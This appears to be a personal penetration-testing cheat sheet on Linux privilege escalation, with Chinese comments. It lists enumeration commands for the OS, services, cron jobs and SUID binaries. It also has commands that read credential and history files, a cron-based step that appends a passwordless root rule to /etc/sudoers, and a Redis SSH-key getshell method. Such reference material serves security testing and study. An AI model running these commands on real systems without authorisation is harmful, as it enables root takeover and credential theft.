Linux privilege escalation

Enumeration is the key

Gather: Enumerate, enumerate some more, and keep enumerating. Process: Sort, analyze, and prioritize what you've collected. Search: Know what you're looking for and where to find exploit code. Adapt: Modify the exploit so it fits and works. An exploit won't necessarily work out of the box on every system. Try: Be ready for a lot of trial and error.

Gather and organize information, find an exploit and adapt it until it works. It rarely succeeds on the first try, so expect plenty of attempts.

0x01 The big three scripts

LinEnum.sh linuxprivchecker.py unix-privesc-check

0x02 Exploiting misconfigured application permissions

GTFOBins

0x03 Crontab and other scheduled tasks

# 检测后台定时任务
# 用那个啥来着
# 检测定时任务 之 自制脚本 promon.sh
IFS=$'\n'
op=$(ps -eo command)
while true; do
    np=$(ps -eo command)
    diff <(echo "$op") <(echo "$np")
    sleep .2
    op=$np
done

Enumeration

OS

# 分配类型、版本
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      # Debian based
cat /etc/redhat-release   # Redhat based
# 内核版本？64位？
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
# 环境变量里有啥
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
# 这台是打印机吗？
lpstat -a

Applications and services

# 正在运行哪些服务？哪个服务有哪个用户权限？
ps aux
ps -ef
top
cat /etc/services
# 找 root 权限的服务？哪些是易受攻击的？仔细检查！
ps aux | grep root
ps -ef | grep root
# 安装了哪些应用程序？什么版本？正在运行？
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
# 哪些服务配置不当？是否附加了漏洞插件？
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'
# 检查定时任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

0.03 Misconfigurations

Incorrect permissions in system services

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

sudo -l

Crontab and other scheduled tasks

# 检测后台定时任务
# 用那个啥来着
# 检测定时任务 之 自制脚本 promon.sh
IFS=$'\n'
op=$(ps -eo command)
while true; do
    np=$(ps -eo command)
    diff <(echo "$op") <(echo "$np")
    sleep .2
    op=$np
done
vi user.sh
echo "user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers

Add a scheduled task to /etc/crontab.

vi /etc/crontab
*/1 * * * * root sh /path2script/user.sh >> /tmp/log.txt

Finally:

sudo su

Some configuration files and commands:

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

SUID

find / -perm -1000 -type d 2>/dev/null              # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null               # 以文件所属用户组权限运行
find / -perm -u=s -type f 2>/dev/null               # 以文件所属用户权限运行
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # 以上两者合集
find / -user root -perm -4000 -print 2>/dev/null    # 先收集，待确认
find / -user root -perm -4000 -exec ls -ldb {} \    # 先收集，待确认

# Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done   

# 从 / 开始 3 个文件夹深度的范围内查找 SGID 或 SUID ，同时不是符号链接的文件
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

0.03 Information disclosure

Exposed usernames and passwords

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joom

History files

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

0.04 Kernel vulnerabilities

TODO

0.06 Third-party services

Unauthorized access to Redis running as root

Log in without authentication and write a public key. redis-sshkey-getshell.py